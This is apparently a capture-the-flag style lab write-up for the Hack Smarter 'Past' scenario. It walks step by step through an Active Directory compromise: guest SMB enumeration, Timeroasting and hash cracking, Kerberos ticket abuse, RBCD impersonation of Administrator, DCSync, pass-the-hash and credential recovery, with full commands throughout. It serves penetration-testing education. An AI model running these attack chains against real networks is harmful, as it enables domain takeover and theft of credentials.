> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/past.md).

# Past

{% embed url="<https://www.hacksmarter.org/courses/e3a8e3b6-448e-4388-9832-ae1da184293e>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been hired by Hack Smarter to perform a Penetration Test on Past Systems Inc. During your call with the client, they stated they are currently adding new machines to the network.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their internal network, but no credentials.

## Summary

<details>

<summary>Summary</summary>

In Past, we begin with external enumeration and discover a Windows Server 2016 Domain Controller at `10.1.100.155` running the `PAST.LOCAL` domain. Guest authentication against SMB succeeds, revealing a readable `Share` and `IPC$`, the latter allowing RID brute-forcing. Connecting to the share, we retrieve `AD_machines.txt`, which lists several machines in the domain including `APPDEV01`, `WEBDEV01`, and `DEV01`.

With no credentials yet, we work through unauthenticated attack techniques and find success with Timeroasting, abusing Microsoft's NTP extension to extract SNTP hashes for computer accounts without authentication. Cracking the recovered hashes offline with Hashcat we recover the password for `APPDEV01$`.

Authenticating as `APPDEV01$`, we gain access to the `SYSVOL` share and locate a `tyler_init.cmd` script inside a scripts folder. The file is an auto-login helper containing cleartext credentials for the user `tyler`. Direct password authentication for `tyler` is blocked by an account restriction, so we request a Kerberos TGT instead and authenticate successfully via the ticket cache.

BloodHound enumeration reveals that `tyler` holds `GenericAll` over the domain controller machine object, enabling a Resource-Based Constrained Delegation attack. We create a new computer account, configure RBCD to grant it delegation rights over the DC, then request a service ticket impersonating `Administrator` via `getST.py`. Authenticating with the resulting ticket, we perform a DCSync to retrieve all domain hashes and use the Administrator hash to open a session via `evil-winrm`.

On the machine, we inspect the PowerShell history file and recover plaintext credentials for `ryan`, completing the scenario.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.100.155 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.100.155 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/iFzpYQfD2R5kDnKKlG4l" alt=""><figcaption></figcaption></figure>

The target `10.1.100.155` is a Domain Controller `EC2AMAZ-A5O4OL8.PAST.LOCAL` running Windows Server 2016. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog exposed on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `49674`, and several MSRPC endpoints on ports `135`, `49664+`, including a non-standard listener on port `61222`.

<figure><img src="/files/74s9A115zxtOFmqifPAj" alt=""><figcaption></figcaption></figure>

We'll follow the orange-cyberdefense mindmap. Since we do not have any users yet, we try to authenticate as `guest` or anonymously agains SMB.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/E9yZq1I2L44U43zeyoGU" alt=""><figcaption></figcaption></figure>

We are able to successfully authenticate as `guest` and immediately find a share called `Share` that we are authorized to read from. Furthermore we have `read` access to the `IPC$` share, which allows us to perform a `rid` brute force.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.100.155 -u guest -p '' --shares
```

{% endcode %}

<figure><img src="/files/uQOOZe2M5BsQLkJ7ichT" alt=""><figcaption></figcaption></figure>

We'll create an entry for our `/etc/hosts` file...

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.100.155 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="/files/xsS6UPNdoDxolhSg3t30" alt=""><figcaption></figcaption></figure>

... and add the following line to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.100.155     EC2AMAZ-A5O4OL8.past.local past.local EC2AMAZ-A5O4OL8
```

{% endcode %}

Next, we connect to the share found earlier using smbclient.py and retrieve the file `AD_machines.txt` which contains the names of different machines.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py past.local/guest:''@EC2AMAZ-A5O4OL8.past.local
```

{% endcode %}

{% code overflow="wrap" %}

```
use Share
```

{% endcode %}

{% code overflow="wrap" %}

```
get AD_machines.txt
```

{% endcode %}

<figure><img src="/files/1MHdhjeuD1xt1dCihzJd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
cat AD_machines.txt
```

{% endcode %}

<figure><img src="/files/avH5n0Jz8sYJlAJBdPKX" alt=""><figcaption></figcaption></figure>

{% code title="AD\_machines.txt" overflow="wrap" expandable="true" %}

```
Name            DNSHostName               
----            -----------               
EC2AMAZ-A5O4OL8 EC2AMAZ-A5O4OL8.past.local
APPDEV01                                  
WEBDEV01                                  
DEV01  
```

{% endcode %}

## Access as APPDEV01$

Since we do not have any credentials yet besides the `guest` access we try every technique listed from the orange cyber defense mindmap. With the classics like blind kerberoasting, we get nothing. But we have some success with Timeroasting.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/44zJVO4ULlRdDzXnhYC8" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/timeroast#unauthenticated-timeroasting>" %}

> Timeroasting is an attack technique that abuses Microsoft's proprietary NTP extension to extract password-equivalent hashes for computer and trust accounts from domain controllers without requiring authentication. These hashes can subsequently be cracked offline.
>
> Domain-joined computers synchronize their system clocks using NTP, with domain controllers acting as authoritative time sources. To address NTP's lack of authentication, Microsoft implemented a custom extension that cryptographically authenticates NTP responses using computer account credentials.
>
> When a computer requests time synchronization, it includes its computer account's RID (Relative Identifier) in the NTP request. The domain controller responds with a Message Authentication Code (MAC) computed using the computer account's NTLM hash as the key. This design allows unauthenticated clients to request salted password hashes for any computer account in the domain by specifying different RID values.

A nice article about Timeroasting can be found here:

{% embed url="<https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac>" %}

Via Timeroasting we are able to retrieve four SNTP hashes that can we try to crack using Hashcat mode 31300.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.100.155 -u guest -p '' -M timeroast
```

{% endcode %}

<figure><img src="/files/K1T8HAJaFAWY6fKAeLf2" alt=""><figcaption></figcaption></figure>

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="/files/CBlroqAeEcEUmAof6FBT" alt=""><figcaption></figcaption></figure>

Unfortunately my version installed was too old and did not support the mode.

```
 .\hashcat -a0 -m 31300 .\hashes.txt .\rockyou.txt --username
```

<figure><img src="/files/XOumIXKDHbXPc3NlOTfe" alt=""><figcaption></figcaption></figure>

For convinience I switched to my Windows host wich had hashcat v7.1.2 already present. We are able to crack the hash for the user with the RID `1115`.

```
.\hashcat.exe -a0 -m 31300 .\hashes.txt .\rockyou.txt --username
```

<figure><img src="/files/t7Suwoj50ZyIv9emBXm5" alt=""><figcaption></figcaption></figure>

We perform the aformentioned rid brute force and are able to enumerate some users and their corresponding RIDs.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="/files/afcY0D2BZMmCGjSjTLh2" alt=""><figcaption></figcaption></figure>

We identify that we cracked the hash of the account `PAST\APPDEV01$` with the RID `1115`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.100.155 -u guest -p '' --rid
```

{% endcode %}

<figure><img src="/files/9e9CMiZChFbkJQnWFI4S" alt=""><figcaption></figcaption></figure>

Next, we test the credentials agains SMB using NetExec and successfully authenticate. With that account we have access to the `SYSVOL` share.

{% code overflow="wrap" expandable="true" %}

```
nxc smb past.local -u 'APPDEV01$' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/WsmCHJHQKLgY4cBBv8ru" alt=""><figcaption></figcaption></figure>

## Access as tyler

Inside the `SYSVOL` share we find a scripts folder containing a `tyler_init.cmd` file.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py past.local/APPDEV01$:'REDACTED'@EC2AMAZ-A5O4OL8.past.local
```

{% endcode %}

<figure><img src="/files/o8cS8yNSUHXqYYjMGmGn" alt=""><figcaption></figcaption></figure>

It appears to be a auto-login helper script that contains the cleartext credentials of the user tyler.

{% code overflow="wrap" expandable="true" %}

```
cat tyler_init.cmd
```

{% endcode %}

<figure><img src="/files/u2U8ncG8VZgLSbHoUuxJ" alt=""><figcaption></figcaption></figure>

Next, we test the crdentials against SMB using NetExec and see that there is an account restriction in place. We might not be able to authenticate via password.

We faced a similar issue in on the CA machine in DarkHaven Technologies:&#x20;

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/ca#access-as-ldap_svc>" %}

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/dc-ext#access-as-ldap_svc>" %}

{% code overflow="wrap" expandable="true" %}

```
nxc smb past.local -u 'tyler' -p 'REDACED' --shares
```

{% endcode %}

<figure><img src="/files/8a7EH7H99kYaPbxGrujw" alt=""><figcaption></figcaption></figure>

To work around this, Kerberos authentication can be used instead. By requesting a Ticket Granting Ticket (TGT), we authenticate via Kerberos, which does not enforce the same logon restrictions.

Request a Kerberos TGT for tylers account:

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'past.local/tyler:REDACTED' -dc-ip EC2AMAZ-A5O4OL8.past.local
```

{% endcode %}

Set the Kerberos ticket cache environment variable:

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=tyler.ccache 
```

{% endcode %}

<figure><img src="/files/YvOivhMi3i9QCTKd0QCp" alt=""><figcaption></figcaption></figure>

Next, we authenticate to SMB using Kerberos and we succesfully logged in.

{% code overflow="wrap" expandable="true" %}

```
nxc smb past.local -u tyler -k --use-kcache --shares
```

{% endcode %}

<figure><img src="/files/WoHnfpUnQ48ieuvbZh0G" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Since we have now a machine account and a user we start to enumerate the target using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=tyler.ccache
```

{% endcode %}

<figure><img src="/files/BCJVCizguX7ucP44erER" alt=""><figcaption></figcaption></figure>

We can either do that by using the `tyler`'s account via kerberos authentication...

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'tyler' -k -d past.local -dc EC2AMAZ-A5O4OL8.past.local -ns 10.1.100.155 -c All --zip
```

{% endcode %}

<figure><img src="/files/62nCHPU1v4PgFciIG6lu" alt=""><figcaption></figcaption></figure>

... or with the credentials of the `APPDEV01$` machine account.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'APPDEV01$' -p 'REDACTED' -d past.local -dc EC2AMAZ-A5O4OL8.past.local -ns 10.1.100.155 -c All --zip
```

{% endcode %}

We identify the Administrator account as the Domain Admin.

<figure><img src="/files/mdtlaGCK1NBrpbWCTUyx" alt=""><figcaption></figcaption></figure>

From the outbound object control we can see that the user `tyler` has `GenericAll` permissions over the DC machine. This allows us to perform a Resource-Based Constrained Delegation attack: add a computer, configure delegation, and impersonate a privileged user.

<div><figure><img src="/files/T50NPUODIfBPLNb3M1nh" alt=""><figcaption></figcaption></figure> <figure><img src="/files/2fjbXA5oyVXImkhensf5" alt=""><figcaption></figcaption></figure></div>

## Shell as Administrator

{% embed url="<https://adminions.ca/books/active-directory-enumeration-and-exploitation/page/bloodyad>" %}

**Create a new computer account**

First we create a new computer account, we could have also used the `APPDEV01$` machine.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host EC2AMAZ-A5O4OL8.past.local -d past.local -u tyler -k add computer 'ATTACKER_SYSTEM' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/XzHmdlyyGtyIzb0SO1VZ" alt=""><figcaption></figcaption></figure>

**Add Resource Based Constrained Delegation**

Next, we configure Resource-Based Constrained Delegation, granting our machine account `ATTACKER_SYSTEM$` the ability to delegate to (and thus impersonate users on) the domain controller `EC2AMAZ-A5O4OL8$`

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host EC2AMAZ-A5O4OL8.past.local -d past.local -u tyler -k add rbcd 'EC2AMAZ-A5O4OL8$' 'ATTACKER_SYSTEM$'
```

{% endcode %}

<figure><img src="/files/NwEccsoUDVZoNhkZXQbK" alt=""><figcaption></figcaption></figure>

Next we unset our `KRB5CCNAME` variable and request a service ticket for the `cifs/EC2AMAZ-A5O4OL8.past.local` SPN while impersonating the `Administrator`'s account, leveraging the delegation rights of our controlled machine account `ATTACKER_SYSTEM$` to obtain a usable ticket as the domain admin.

{% code overflow="wrap" expandable="true" %}

```
unset KRB5CCNAME
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
getST.py -spn 'cifs/EC2AMAZ-A5O4OL8.past.local' -impersonate 'Administrator' 'past.local/ATTACKER_SYSTEM$:Pwned123@!'
```

{% endcode %}

<figure><img src="/files/v7CHUmkyWcfykjamrLGS" alt=""><figcaption></figcaption></figure>

We then export the resulting ccache file to the `KRB5CCNAME` environment variable so our tools use it for Kerberos authentication, and run NetExec against the domain over SMB with `-k --use-kcache` to authenticate as `Administrator` using the cached ticket and enumerate the available shares. We authenticate sucessfully as the Administrator.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=Administrator@cifs_EC2AMAZ-A5O4OL8.past.local@PAST.LOCAL.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
nxc smb past.local -u Administrator -k --use-kcache --shares
```

{% endcode %}

<figure><img src="/files/1ya38DcZ5ebhrBBxlakz" alt=""><figcaption></figcaption></figure>

Next, we perform a DCSync to retrieve the hashes of all users of the domain.

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py -k -no-pass past.local/Administrator@EC2AMAZ-A5O4OL8.past.local
```

{% endcode %}

<figure><img src="/files/TROdXmShSfKy30Qg4idY" alt=""><figcaption></figcaption></figure>

Now, we can use the hash of the Administrators account to get a session via evil-winrm.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i EC2AMAZ-A5O4OL8.past.local -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/JbLo0rIy6QOdPsFTmtjg" alt=""><figcaption></figcaption></figure>

## Access as ryan

On the machine we find the PowerShell history file containing the credentials of Ryan.

{% code overflow="wrap" %}

```
cat C:\Users\Administrator\APPDATA\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

{% endcode %}

<figure><img src="/files/Ey2H4zIYAOAHBsqzngN6" alt=""><figcaption></figcaption></figure>

We test those using NetExec and successfully authenticate and are able to answer the second question of the scenario.

{% code overflow="wrap" expandable="true" %}

```
nxc smb past.local -u ryan -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/5uct0ojJ8orgUqdPGLSA" alt=""><figcaption></figcaption></figure>
